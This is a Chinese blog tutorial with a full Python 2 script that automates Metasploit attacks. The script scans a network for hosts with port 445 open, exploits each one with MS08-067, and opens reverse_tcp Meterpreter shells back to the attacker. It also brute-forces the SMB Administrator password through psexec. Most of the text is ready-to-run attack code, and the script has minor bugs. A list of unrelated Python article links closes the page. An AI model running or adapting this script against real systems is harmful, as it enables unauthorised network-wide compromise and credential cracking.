Python脚本与Metasploit交互攻击
Metasploit是一款强大的漏洞扫描和利用工具,编写Python脚本与Metasploit进行交互,可以自动化的扫描和利用漏洞。
相关文章:Metasploit框架的使用
在脚本中,我们首选需要利用 nmap 模块扫描目标主机是否开放了445端口,我们写了一个 findTarget() 函数,来扫描给定ip或者给定网段中开放了目标端口的主机,返回开放了445端口的主机列表。445端口是作为SMB文件共享协议的端口,在这个端口上,经常爆发出各种高危的漏洞。 相关文章:文件共享协议之139/445端口
def findTarget(Hosts): #扫描网段范围内开放445端口的主机
nmScan=nmap.PortScanner()
nmScan.scan(Hosts,'445')
targets=[]
for t in nmScan.all_hosts():
if nmScan[t].has_tcp(445): #如果445端口提供了协议
state=nmScan[t]['tcp'][445]['state'] #查看445端口的状态
if state=='open':
print '[+]Found Target Host:'+t
targets.append(t)
return targets #返回开放445端口的主机列表
Metasploit提供了一个被称为Meterpreter的高级动态载荷,它是一种后渗透工具。当渗透进目标主机后,Meterpreter会主动连接目标主机,并提供大量 分析和控制主机的参数。我们写了setupHandler()函数,使用 exploit/multi/handler监听数据,我们设置payload为 windows/x64/meterpreter/reverse_tcp 。我们还需要设置一个全局变量DisablePayloadHandler,其作用是:我们已经新建了一个监听器,以后所有的主机都不必重复新建监听器。相关文章:Meterpreter之exploit/multi/handler木马
def setupHandler(configFile,lhost,lport): #监听被攻击的主机
configFile.write('use exploit/multi/handler\n') #使用
configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp \n') #设定payload载荷
configFile.write('set LPORT '+str(lport)+'\n') #设置监听的端口
configFile.write('set LHOST '+lhost+'\n') #设置监听的主机,也就是我们的主机
configFile.write('set DisablePayloadHandler 1\n') #不重新监听
configFile.write('exploit -j -z\n') #监听 j选项是将所有连接的会话保持在后台 -z不与任务进行即时交换
当脚本能够在目标主机上执行漏洞利用代码时,配置函数将向Metasploit rc 脚本中写入用于生成漏洞利用代码的目标主机、本地地址和端口。该函数还将把使用哪个漏洞利用代码的指令也写入rc脚本文件中,这里我们使用 MS_08067_netapi漏洞。此外,该函数还需要设置Payload、Lport。最后,该脚本发送一条指令在同一个任务(job)的上下文环境中( -j ),不与任务进行即时交互的条件下 ( -z ) 利用对目标计算机上的漏洞
def confickerExploit(configFile,target,lhost,lport): #漏洞利用
configFile.write('use exploit/windows/smb/ms08_067_netapi\n') #漏洞利用代码
configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
configFile.write('set RHOST '+str(target)+'\n') #设定参数
configFile.write('set LPORT '+str(lport)+'\n')
configFile.write('set LHOST '+lhost+'\n')
configFile.write('exploit \n')
尽管如此我们已经可以成功的在被黑的主机上运行漏洞利用代码,但一旦目标主机安装了最新的安全补丁便可以阻止该代码被执行,因此我们的脚本还需要另一种攻击方式,如暴力破解SMB用户名和密码,以此获取在目标主机上远程执行一个进程的权限。输入smbBrute() 函数的参数有:Metasploit 脚本文件、目标主机、包含密码列表的另一个文件、本地地址、端口。用户名默认为windows管理员Administrator,打开密码列表文件,对于每一个密码,都会生成一个用来远程执行进程的Metasploit脚本,如果密码正确则远程执行进程的代码就会运行一个shell到攻击者本地地址对应的端口。
def smbBrute(configFile,target,passwdFile,lhost,lport):
username='Administrator'
pF=open(passwordFile,'r')
for password in pF.readlines():
password=password.strip('\n')
configFile.write('use exploit/windows/smb/psexec\n')
configFile.write('set SMBUser '+str(username)+'\n')
configFile.write('set SMBPass '+str(password)+'\n')
configFile.write('set RHOST '+str(target)+'\n')
configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
configFile.write('set LPORT '+str(lport)+'\n')
configFile.write('set LHOST '+lhost+'\n')
configFile.write('exploit -j -z\n')
最后,对上面所有的代码进行整合。
# -*- coding: utf-8 -*-
"""
Created on Sun Nov 4 16:11:33 2018
@author: 小谢
"""
import os
import optparse
import sys
import nmap
def findTarget(Hosts): #扫描网段范围内开放445端口的主机
nmScan=nmap.PortScanner()
nmScan.scan(Hosts,'445')
targets=[]
for t in nmScan.all_hosts():
if nmScan[t].has_tcp(445): #如果445端口提供了协议
state=nmScan[t]['tcp'][445]['state'] #查看445端口的状态
if state=='open':
print '[+]Found Target Host:'+t
targets.append(t)
return targets #返回开放445端口的主机列表
def setupHandler(configFile,lhost,lport): #监听被攻击的主机
configFile.write('use exploit/multi/handler\n') #使用
configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp \n') #设定payload载荷
configFile.write('set LPORT '+str(lport)+'\n') #设置监听的端口
configFile.write('set LHOST '+lhost+'\n') #设置监听的主机,也就是我们的主机
configFile.write('set DisablePayloadHandler 1\n') #不重新监听
configFile.write('exploit -j -z\n') #监听 j选项是将所有连接的会话保持在后台 -z不与任务进行即时交换
def confickerExploit(configFile,target,lhost,lport): #漏洞利用
configFile.write('use exploit/windows/smb/ms08_067_netapi\n') #漏洞利用代码
configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
configFile.write('set RHOST '+str(target)+'\n') #设定参数
configFile.write('set LPORT '+str(lport)+'\n')
configFile.write('set LHOST '+lhost+'\n')
configFile.write('exploit \n')
def smbBrute(configFile,target,passwdFile,lhost,lport): #暴力破解SMB口令
username='Administrator'
pF=open(passwordFile,'r')
for password in pF.readlines():
password=password.strip('\n')
configFile.write('use exploit/windows/smb/psexec\n')
configFile.write('set SMBUser '+str(username)+'\n')
configFile.write('set SMBPass '+str(password)+'\n')
configFile.write('set RHOST '+str(target)+'\n')
configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
configFile.write('set LPORT '+str(lport)+'\n')
configFile.write('set LHOST '+lhost+'\n')
configFile.write('exploit -j -z\n')
def main():
configFile=open('meta.rc','w') #以写入方式打开配置文件
usage='[-]Usage %prog -H <RHOSTS> -l/-L <LHOST> [-p/-P <LPORT> -F/-f <password File>]'
parser=optparse.OptionParser(usage)
parser.add_option('-H',dest='target',type='string',help='target host')
parser.add_option('-p','-P',dest='lport',type='string',help='listen port')
parser.add_option('-l','-L',dest='lhost',type='string',help='listen address')
parser.add_option('-F','-f',dest='passwdFile',type='string',help='password file')
(options,args)=parser.parse_args()
passwdFile=options.passwdFile
target=options.target
lport=options.lport
lhost=options.lhost
if (target==None)|(lhost==None):
print parser.usage
exit(0)
if options.lport==None:
lport=='2333'
targets=findTarget(options.target) #寻找目标
setupHandler(configFile,lhost,lport) #设置配置文件
for target in targets: #逐个攻击
confickerExploit(configFile,target,lhost,lport)
if passwdFile!=None:
smbBrute(configFile,target,passwdFile,lhost,lport)
configFile.close()
os.system('msfconsole -r meta.rc') #启动metasploit并读取配置文件
if __name__=='__main__':
main()
当我们运行脚本,指定好参数后,脚本就会扫描目标主机中开放了445端口的主机,将其加入到 targets 列表中,然后将要攻击的代码写入 meta.rc 配置文件中,最后启动MSF读取配置文件进行攻击!
相关文章
- 【Python成长之路】python 基础篇 -- global/nonlocal关键字使用
- python工具——Seaborn
- Centos 6.4 安装Python 2.7 python-pip
- django python 修改外键从表的非主键字段值的方法
- Python每日一练(20230219)
- Tic-Tac-Toe有多少种不同棋局和盘面状态(python实现)
- 使用Python rembg库进行抠图:一行命令就搞定
- Atitit 读取音频音乐文件的bpm 目录 1.1. Librosa是一个用于音频、音乐分析、处理的python工具包,1 1.2. bpm.py1 1.3. Echo2 1.4. Cod
- Atitit python3.0 3.3 3.5 3.6 新特性 Python2.7新特性1Python 3_x 新特性1python3.4新特性1python3.5新特性1值得关注的新特性1Python3.6新特性2 Python2.7新特性Python 2.7的新特性 - 牛皮糖NewPtone - 博客园.html Python 3_x 新特性及10大变化_python_脚本之家.htm
- Python编程语言学习:python中与数字相关的函数(取整等)、案例应用之详细攻略
- Python:更改默认启动的python程序及其对应的安装包路径(更改pip的默认安装包的路径)图文教程之详细攻略
- Python语言学习之字符串那些事:python和字符串的使用方法之详细攻略
- Python之ffmpeg-python:ffmpeg-python库的简介、安装、使用方法之详细攻略
- 【python代码】:能在手机上敲 Python 代码几款App
- 从零开始学python | 使用Python映射,过滤和缩减函数:所有您需要知道的
- 从零开始学python | 什么是Python JSON?
- Python标准库:内置函数hasattr(object, name)
- 利用PyCharm进行Python远程调试
- Python使用缩进来
- Python开发——做一个简单的【表白墙】网站
- python零基础学编程:Python是什么?为什么Python这么火,学Python能干什么?